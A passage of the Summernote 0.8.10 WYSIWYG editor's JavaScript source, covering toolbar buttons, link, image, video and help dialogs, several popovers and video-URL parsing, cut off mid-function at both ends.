Buttons.prototype.addTablePopoverButtons = function () { var _this = this; this.context.memo('button.addRowUp', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowAbove), tooltip: _this.lang.table.addRowAbove, click: _this.context.createInvokeHandler('editor.addRow', 'top') }).render(); }); this.context.memo('button.addRowDown', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowBelow), tooltip: _this.lang.table.addRowBelow, click: _this.context.createInvokeHandler('editor.addRow', 'bottom') }).render(); }); this.context.memo('button.addColLeft', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colBefore), tooltip: _this.lang.table.addColLeft, click: _this.context.createInvokeHandler('editor.addCol', 'left') }).render(); }); this.context.memo('button.addColRight', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colAfter), tooltip: _this.lang.table.addColRight, click: _this.context.createInvokeHandler('editor.addCol', 'right') }).render(); }); this.context.memo('button.deleteRow', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowRemove), tooltip: _this.lang.table.delRow, click: _this.context.createInvokeHandler('editor.deleteRow') }).render(); }); this.context.memo('button.deleteCol', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colRemove), tooltip: _this.lang.table.delCol, click: _this.context.createInvokeHandler('editor.deleteCol') }).render(); }); this.context.memo('button.deleteTable', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.trash), tooltip: _this.lang.table.delTable, click: _this.context.createInvokeHandler('editor.deleteTable') }).render(); }); }; Buttons.prototype.build = function ($container, groups) { for (var groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) { var group = groups[groupIdx]; var groupName = $$1.isArray(group) ? group[0] : group; var buttons = $$1.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group]; var $group = this.ui.buttonGroup({ className: 'note-' + groupName }).render(); for (var idx = 0, len = buttons.length; idx < len; idx++) { var btn = this.context.memo('button.' + buttons[idx]); if (btn) { $group.append(typeof btn === 'function' ? btn(this.context) : btn); } } $group.appendTo($container); } }; /** * @param {jQuery} [$container] */ Buttons.prototype.updateCurrentStyle = function ($container) { var _this = this; var $cont = $container || this.$toolbar; var styleInfo = this.context.invoke('editor.currentStyle'); this.updateBtnStates($cont, { '.note-btn-bold': function () { return styleInfo['font-bold'] === 'bold'; }, '.note-btn-italic': function () { return styleInfo['font-italic'] === 'italic'; }, '.note-btn-underline': function () { return styleInfo['font-underline'] === 'underline'; }, '.note-btn-subscript': function () { return styleInfo['font-subscript'] === 'subscript'; }, '.note-btn-superscript': function () { return styleInfo['font-superscript'] === 'superscript'; }, '.note-btn-strikethrough': function () { return styleInfo['font-strikethrough'] === 'strikethrough'; } }); if (styleInfo['font-family']) { var fontNames = styleInfo['font-family'].split(',').map(function (name) { return name.replace(/[\'\"]/g, '') .replace(/\s+$/, '') .replace(/^\s+/, ''); }); var fontName_1 = lists.find(fontNames, this.isFontInstalled.bind(this)); $cont.find('.dropdown-fontname a').each(function (idx, item) { var $item = $$1(item); // always compare string to avoid creating another func. var isChecked = ($item.data('value') + '') === (fontName_1 + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontname').text(fontName_1).css('font-family', fontName_1); } if (styleInfo['font-size']) { var fontSize_1 = styleInfo['font-size']; $cont.find('.dropdown-fontsize a').each(function (idx, item) { var $item = $$1(item); // always compare with string to avoid creating another func. var isChecked = ($item.data('value') + '') === (fontSize_1 + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontsize').text(fontSize_1); } if (styleInfo['line-height']) { var lineHeight_1 = styleInfo['line-height']; $cont.find('.dropdown-line-height li a').each(function (idx, item) { // always compare with string to avoid creating another func. var isChecked = ($$1(item).data('value') + '') === (lineHeight_1 + ''); _this.className = isChecked ? 'checked' : ''; }); } }; Buttons.prototype.updateBtnStates = function ($container, infos) { var _this = this; $$1.each(infos, function (selector, pred) { _this.ui.toggleBtnActive($container.find(selector), pred()); }); }; Buttons.prototype.tableMoveHandler = function (event) { var PX_PER_EM = 18; var $picker = $$1(event.target.parentNode); // target is mousecatcher var $dimensionDisplay = $picker.next(); var $catcher = $picker.find('.note-dimension-picker-mousecatcher'); var $highlighted = $picker.find('.note-dimension-picker-highlighted'); var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted'); var posOffset; // HTML5 with jQuery - e.offsetX is undefined in Firefox if (event.offsetX === undefined) { var posCatcher = $$1(event.target).offset(); posOffset = { x: event.pageX - posCatcher.left, y: event.pageY - posCatcher.top }; } else { posOffset = { x: event.offsetX, y: event.offsetY }; } var dim = { c: Math.ceil(posOffset.x / PX_PER_EM) || 1, r: Math.ceil(posOffset.y / PX_PER_EM) || 1 }; $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' }); $catcher.data('value', dim.c + 'x' + dim.r); if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) { $unhighlighted.css({ width: dim.c + 1 + 'em' }); } if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) { $unhighlighted.css({ height: dim.r + 1 + 'em' }); } $dimensionDisplay.html(dim.c + ' x ' + dim.r); }; return Buttons; }()); var Toolbar = /** @class */ (function () { function Toolbar(context) { this.context = context; this.$window = $$1(window); this.$document = $$1(document); this.ui = $$1.summernote.ui; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.followScroll = this.followScroll.bind(this); } Toolbar.prototype.shouldInitialize = function () { return !this.options.airMode; }; Toolbar.prototype.initialize = function () { var _this = this; this.options.toolbar = this.options.toolbar || []; if (!this.options.toolbar.length) { this.$toolbar.hide(); } else { this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar); } if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } this.changeContainer(false); this.$note.on('summernote.keyup summernote.mouseup summernote.change', function () { _this.context.invoke('buttons.updateCurrentStyle'); }); this.context.invoke('buttons.updateCurrentStyle'); if (this.options.followingToolbar) { this.$window.on('scroll resize', this.followScroll); } }; Toolbar.prototype.destroy = function () { this.$toolbar.children().remove(); if (this.options.followingToolbar) { this.$window.off('scroll resize', this.followScroll); } }; Toolbar.prototype.followScroll = function () { if (this.$editor.hasClass('fullscreen')) { return false; } var $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper'); var editorHeight = this.$editor.outerHeight(); var editorWidth = this.$editor.width(); var toolbarHeight = this.$toolbar.height(); $toolbarWrapper.css({ height: toolbarHeight }); // check if the web app is currently using another static bar var otherBarHeight = 0; if (this.options.otherStaticBar) { otherBarHeight = $$1(this.options.otherStaticBar).outerHeight(); } var currentOffset = this.$document.scrollTop(); var editorOffsetTop = this.$editor.offset().top; var editorOffsetBottom = editorOffsetTop + editorHeight; var activateOffset = editorOffsetTop - otherBarHeight; var deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight; if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) { this.$toolbar.css({ position: 'fixed', top: otherBarHeight, width: editorWidth }); } else { this.$toolbar.css({ position: 'relative', top: 0, width: '100%' }); } }; Toolbar.prototype.changeContainer = function (isFullscreen) { if (isFullscreen) { this.$toolbar.prependTo(this.$editor); } else { if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } } }; Toolbar.prototype.updateFullscreen = function (isFullscreen) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen); this.changeContainer(isFullscreen); }; Toolbar.prototype.updateCodeview = function (isCodeview) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview); if (isCodeview) { this.deactivate(); } else { this.activate(); } }; Toolbar.prototype.activate = function (isIncludeCodeview) { var $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, true); }; Toolbar.prototype.deactivate = function (isIncludeCodeview) { var $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, false); }; return Toolbar; }()); var LinkDialog = /** @class */ (function () { function LinkDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']); } LinkDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<div class="form-group note-form-group">', "<label class=\"note-form-label\">" + this.lang.link.textToDisplay + "</label>", '<input class="note-link-text form-control note-form-control note-input" type="text" />', '</div>', '<div class="form-group note-form-group">', "<label class=\"note-form-label\">" + this.lang.link.url + "</label>", '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />', '</div>', !this.options.disableLinkTarget ? $$1('<div/>').append(this.ui.checkbox({ id: 'sn-checkbox-open-in-new-window', text: this.lang.link.openInNewWindow, checked: true }).render()).html() : '' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.link.insert + "</button>"; this.$dialog = this.ui.dialog({ className: 'link-dialog', title: this.lang.link.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; LinkDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; LinkDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; /** * toggle update button */ LinkDialog.prototype.toggleLinkBtn = function ($linkBtn, $linkText, $linkUrl) { this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val()); }; /** * Show link dialog and set event handlers on dialog controls. * * @param {Object} linkInfo * @return {Promise} */ LinkDialog.prototype.showLinkDialog = function (linkInfo) { var _this = this; return $$1.Deferred(function (deferred) { var $linkText = _this.$dialog.find('.note-link-text'); var $linkUrl = _this.$dialog.find('.note-link-url'); var $linkBtn = _this.$dialog.find('.note-link-btn'); var $openInNewWindow = _this.$dialog.find('input[type=checkbox]'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); // if no url was given, copy text to url if (!linkInfo.url) { linkInfo.url = linkInfo.text; } $linkText.val(linkInfo.text); var handleLinkTextUpdate = function () { _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // if linktext was modified by keyup, // stop cloning text from linkUrl linkInfo.text = $linkText.val(); }; $linkText.on('input', handleLinkTextUpdate).on('paste', function () { setTimeout(handleLinkTextUpdate, 0); }); var handleLinkUrlUpdate = function () { _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // display same link on `Text to display` input // when create a new link if (!linkInfo.text) { $linkText.val($linkUrl.val()); } }; $linkUrl.on('input', handleLinkUrlUpdate).on('paste', function () { setTimeout(handleLinkUrlUpdate, 0); }).val(linkInfo.url); if (!env.isSupportTouch) { $linkUrl.trigger('focus'); } _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); _this.bindEnterKey($linkUrl, $linkBtn); _this.bindEnterKey($linkText, $linkBtn); var isChecked = linkInfo.isNewWindow !== undefined ? linkInfo.isNewWindow : _this.context.options.linkTargetBlank; $openInNewWindow.prop('checked', isChecked); $linkBtn.one('click', function (event) { event.preventDefault(); deferred.resolve({ range: linkInfo.range, url: $linkUrl.val(), text: $linkText.val(), isNewWindow: $openInNewWindow.is(':checked') }); _this.ui.hideDialog(_this.$dialog); }); }); _this.ui.onDialogHidden(_this.$dialog, function () { // detach events $linkText.off('input paste keypress'); $linkUrl.off('input paste keypress'); $linkBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }).promise(); }; /** * @param {Object} layoutInfo */ LinkDialog.prototype.show = function () { var _this = this; var linkInfo = this.context.invoke('editor.getLinkInfo'); this.context.invoke('editor.saveRange'); this.showLinkDialog(linkInfo).then(function (linkInfo) { _this.context.invoke('editor.restoreRange'); _this.context.invoke('editor.createLink', linkInfo); }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; return LinkDialog; }()); var LinkPopover = /** @class */ (function () { function LinkPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.change summernote.scroll': function () { _this.update(); }, 'summernote.disable summernote.dialog.shown': function () { _this.hide(); } }; } LinkPopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.link); }; LinkPopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-link-popover', callback: function ($node) { var $content = $node.find('.popover-content,.note-popover-content'); $content.prepend('<span><a target="_blank"></a> </span>'); } }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.link); }; LinkPopover.prototype.destroy = function () { this.$popover.remove(); }; LinkPopover.prototype.update = function () { // Prevent focusing on editable when invoke('code') is executed if (!this.context.invoke('editor.hasFocus')) { this.hide(); return; } var rng = this.context.invoke('editor.createRange'); if (rng.isCollapsed() && rng.isOnAnchor()) { var anchor = dom.ancestor(rng.sc, dom.isAnchor); var href = $$1(anchor).attr('href'); this.$popover.find('a').attr('href', href).html(href); var pos = dom.posFromPlaceholder(anchor); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } }; LinkPopover.prototype.hide = function () { this.$popover.hide(); }; return LinkPopover; }()); var ImageDialog = /** @class */ (function () { function ImageDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } ImageDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var imageLimitation = ''; if (this.options.maximumImageFileSize) { var unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024)); var readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 + ' ' + ' KMGTP'[unit] + 'B'; imageLimitation = "<small>" + (this.lang.image.maximumFileSize + ' : ' + readableSize) + "</small>"; } var body = [ '<div class="form-group note-form-group note-group-select-from-files">', '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>', '<input class="note-image-input note-form-control note-input" ', ' type="file" name="files" accept="image/*" multiple="multiple" />', imageLimitation, '</div>', '<div class="form-group note-group-image-url" style="overflow:auto;">', '<label class="note-form-label">' + this.lang.image.url + '</label>', '<input class="note-image-url form-control note-form-control note-input ', ' col-md-12" type="text" />', '</div>' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.image.insert + "</button>"; this.$dialog = this.ui.dialog({ title: this.lang.image.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; ImageDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; ImageDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; ImageDialog.prototype.show = function () { var _this = this; this.context.invoke('editor.saveRange'); this.showImageDialog().then(function (data) { // [workaround] hide dialog before restore range for IE range focus _this.ui.hideDialog(_this.$dialog); _this.context.invoke('editor.restoreRange'); if (typeof data === 'string') { _this.context.invoke('editor.insertImage', data); } else { _this.context.invoke('editor.insertImagesOrCallback', data); } }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ ImageDialog.prototype.showImageDialog = function () { var _this = this; return $$1.Deferred(function (deferred) { var $imageInput = _this.$dialog.find('.note-image-input'); var $imageUrl = _this.$dialog.find('.note-image-url'); var $imageBtn = _this.$dialog.find('.note-image-btn'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); // Cloning imageInput to clear element. $imageInput.replaceWith($imageInput.clone().on('change', function (event) { deferred.resolve(event.target.files || event.target.value); }).val('')); $imageBtn.click(function (event) { event.preventDefault(); deferred.resolve($imageUrl.val()); }); $imageUrl.on('keyup paste', function () { var url = $imageUrl.val(); _this.ui.toggleBtn($imageBtn, url); }).val(''); if (!env.isSupportTouch) { $imageUrl.trigger('focus'); } _this.bindEnterKey($imageUrl, $imageBtn); }); _this.ui.onDialogHidden(_this.$dialog, function () { $imageInput.off('change'); $imageUrl.off('keyup paste keypress'); $imageBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }); }; return ImageDialog; }()); /** * Image popover module * mouse events that show/hide popover will be handled by Handle.js. * Handle.js will receive the events and invoke 'imagePopover.update'. */ var ImagePopover = /** @class */ (function () { function ImagePopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.editable = context.layoutInfo.editable[0]; this.options = context.options; this.events = { 'summernote.disable': function () { _this.hide(); } }; } ImagePopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.image); }; ImagePopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-image-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.image); }; ImagePopover.prototype.destroy = function () { this.$popover.remove(); }; ImagePopover.prototype.update = function (target) { if (dom.isImg(target)) { var pos = dom.posFromPlaceholder(target); var posEditor = dom.posFromPlaceholder(this.editable); this.$popover.css({ display: 'block', left: this.options.popatmouse ? event.pageX - 20 : pos.left, top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top) }); } else { this.hide(); } }; ImagePopover.prototype.hide = function () { this.$popover.hide(); }; return ImagePopover; }()); var TablePopover = /** @class */ (function () { function TablePopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.mousedown': function (we, e) { _this.update(e.target); }, 'summernote.keyup summernote.scroll summernote.change': function () { _this.update(); }, 'summernote.disable': function () { _this.hide(); } }; } TablePopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.table); }; TablePopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-table-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.table); // [workaround] Disable Firefox's default table editor if (env.isFF) { document.execCommand('enableInlineTableEditing', false, false); } }; TablePopover.prototype.destroy = function () { this.$popover.remove(); }; TablePopover.prototype.update = function (target) { if (this.context.isDisabled()) { return false; } var isCell = dom.isCell(target); if (isCell) { var pos = dom.posFromPlaceholder(target); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } return isCell; }; TablePopover.prototype.hide = function () { this.$popover.hide(); }; return TablePopover; }()); var VideoDialog = /** @class */ (function () { function VideoDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } VideoDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<div class="form-group note-form-group row-fluid">', "<label class=\"note-form-label\">" + this.lang.video.url + " <small class=\"text-muted\">" + this.lang.video.providers + "</small></label>", '<input class="note-video-url form-control note-form-control note-input" type="text" />', '</div>' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.video.insert + "</button>"; this.$dialog = this.ui.dialog({ title: this.lang.video.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; VideoDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; VideoDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; VideoDialog.prototype.createVideoNode = function (url) { // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm) var ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/; var ytMatch = url.match(ytRegExp); var igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/; var igMatch = url.match(igRegExp); var vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/; var vMatch = url.match(vRegExp); var vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/; var vimMatch = url.match(vimRegExp); var dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/; var dmMatch = url.match(dmRegExp); var youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/; var youkuMatch = url.match(youkuRegExp); var qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/; var qqMatch = url.match(qqRegExp); var qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/; var qqMatch2 = url.match(qqRegExp2); var mp4RegExp = /^.+.(mp4|m4v)$/; var mp4Match = url.match(mp4RegExp); var oggRegExp = /^.+.(ogg|ogv)$/; var oggMatch = url.match(oggRegExp); var webmRegExp = /^.+.(webm)$/; var webmMatch = url.match(webmRegExp); var $video; if (ytMatch && ytMatch[1].length === 11) { var youtubeId = ytMatch[1]; $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', '//www.youtube.com/embed/' + youtubeId) .attr('width', '640').attr('height', '360'); } else if (igMatch && igMatch[0].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/') .attr('width', '612').attr('height', '710') .attr('scrolling', 'no') .attr('allowtransparency', 'true'); } else if (vMatch && vMatch[0].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', vMatch[0] + '/embed/simple') .attr('width', '600').attr('height', '600') .attr('class', 'vine-embed'); } else if (vimMatch && vimMatch[3].length) { $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('src', '//player.vimeo.com/video/' + vimMatch[3]) .attr('width', '640').attr('height', '360'); } else if (dmMatch && dmMatch[2].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2]) .attr('width', '640').attr('height', '360'); } else if (youkuMatch && youkuMatch[1].length) { $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '498') .attr('width', '510') .attr('src', '//player.youku.com/embed/' + youkuMatch[1]); } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) { var vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]); $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '310') .attr('width', '500') .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&auto=0'); } else if (mp4Match || oggMatch || webmMatch) { $video = $$1('<video controls>') .attr('src', url) .attr('width', '640').attr('height', '360'); } else { // this is not a known video link. Now what, Cat? Now what? return false; } $video.addClass('note-video-clip'); return $video[0]; }; VideoDialog.prototype.show = function () { var _this = this; var text = this.context.invoke('editor.getSelectedText'); this.context.invoke('editor.saveRange'); this.showVideoDialog(text).then(function (url) { // [workaround] hide dialog before restore range for IE range focus _this.ui.hideDialog(_this.$dialog); _this.context.invoke('editor.restoreRange'); // build node var $node = _this.createVideoNode(url); if ($node) { // insert video node _this.context.invoke('editor.insertNode', $node); } }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ VideoDialog.prototype.showVideoDialog = function (text) { var _this = this; return $$1.Deferred(function (deferred) { var $videoUrl = _this.$dialog.find('.note-video-url'); var $videoBtn = _this.$dialog.find('.note-video-btn'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); $videoUrl.val(text).on('input', function () { _this.ui.toggleBtn($videoBtn, $videoUrl.val()); }); if (!env.isSupportTouch) { $videoUrl.trigger('focus'); } $videoBtn.click(function (event) { event.preventDefault(); deferred.resolve($videoUrl.val()); }); _this.bindEnterKey($videoUrl, $videoBtn); }); _this.ui.onDialogHidden(_this.$dialog, function () { $videoUrl.off('input'); $videoBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }); }; return VideoDialog; }()); var HelpDialog = /** @class */ (function () { function HelpDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } HelpDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<p class="text-center">', '<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ', '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ', '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>', '</p>' ].join(''); this.$dialog = this.ui.dialog({ title: this.lang.options.help, fade: this.options.dialogsFade, body: this.createShortcutList(), footer: body, callback: function ($node) { $node.find('.modal-body,.note-modal-body').css({ 'max-height': 300, 'overflow': 'scroll' }); } }).render().appendTo($container); }; HelpDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; HelpDialog.prototype.createShortcutList = function () { var _this = this; var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc']; return Object.keys(keyMap).map(function (key) { var command = keyMap[key]; var $row = $$1('<div><div class="help-list-item"/></div>'); $row.append($$1('<label><kbd>' + key + '</kdb></label>').css({ 'width': 180, 'margin-right': 10 })).append($$1('<span/>').html(_this.context.memo('help.' + command) || command)); return $row.html(); }).join(''); }; /** * show help dialog * * @return {Promise} */ HelpDialog.prototype.showHelpDialog = function () { var _this = this; return $$1.Deferred(function (deferred) { _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); deferred.resolve(); }); _this.ui.showDialog(_this.$dialog); }).promise(); }; HelpDialog.prototype.show = function () { var _this = this; this.context.invoke('editor.saveRange'); this.showHelpDialog().then(function () { _this.context.invoke('editor.restoreRange'); }); }; return HelpDialog; }()); var AIR_MODE_POPOVER_X_OFFSET = 20; var AirPopover = /** @class */ (function () { function AirPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.scroll': function () { _this.update(); }, 'summernote.disable summernote.change summernote.dialog.shown': function () { _this.hide(); }, 'summernote.focusout': function (we, e) { // [workaround] Firefox doesn't support relatedTarget on focusout // - Ignore hide action on focus out in FF. if (env.isFF) { return; } if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(_this.$popover[0]))) { _this.hide(); } } }; } AirPopover.prototype.shouldInitialize = function () { return this.options.airMode && !lists.isEmpty(this.options.popover.air); }; AirPopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-air-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.air); }; AirPopover.prototype.destroy = function () { this.$popover.remove(); }; AirPopover.prototype.update = function () { var styleInfo = this.context.invoke('editor.currentStyle'); if (styleInfo.range && !styleInfo.range.isCollapsed()) { var rect = lists.last(styleInfo.range.getClientRects()); if (rect) { var bnd = func.rect2bnd(rect); this.$popover.css({ display: 'block', left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET, top: bnd.top + bnd.height }); this.context.invoke('buttons.updateCurrentStyle', this.$popover); } } else { this.hide(); } }; AirPopover.prototype.hide = function () { this.$popover.hide(); }; return AirPopover; }()); var POPOVER_DIST = 5; var HintPopover = /** @class */ (function () { function HintPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.$editable = context.layoutInfo.editable; this.options = context.options; this.hint = this.options.hint || []; this.direction = this.options.hintDirection || 'bottom'; this.hints = $$1.isArray(this.hint) ? this.hint : [this.hint]; this.events = { 'summernote.keyup': function (we, e) { if (!e.isDefaultPrevented()) { _this.handleKeyup(e); } }, 'summernote.keydown': function (we, e) { _this.handleKeydown(e); }, 'summernote.disable summernote.dialog.shown': function () { _this.hide(); } }; } HintPopover.prototype.shouldInitialize = function () { return this.hints.length > 0; }; HintPopover.prototype.initialize = function () { var _this = this; this.lastWordRange = null; this.$popover = this.ui.popover({ className: 'note-hint-popover', hideArrow: true, direction: '' }).render().appendTo(this.options.container); this.$popover.hide(); this.$content = this.$popover.find('.popover-content,.note-popover-content'); this.$content.on('click', '.note-hint-item', function () { _this.$content.find('.active').removeClass('active'); $$1(_this).addClass('active'); _this.replace(); }); }; HintPopover.prototype.destroy = function () { this.$popover.remove(); }; HintPopover.prototype.selectItem = function ($item) { this.$content.find('.active').removeClass('active'); $item.addClass('active'); this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2); }; HintPopover.prototype.moveDown = function () { var $current = this.$content.find('.note-hint-item.active'); var $next = $current.next(); if ($next.length) { this.selectItem($next); } else { var $nextGroup = $current.parent().next(); if (!$nextGroup.length) { $nextGroup = this.$content.find('.note-hint-group').first(); } this.selectItem($nextGroup.find('.note-hint-item').first()); } 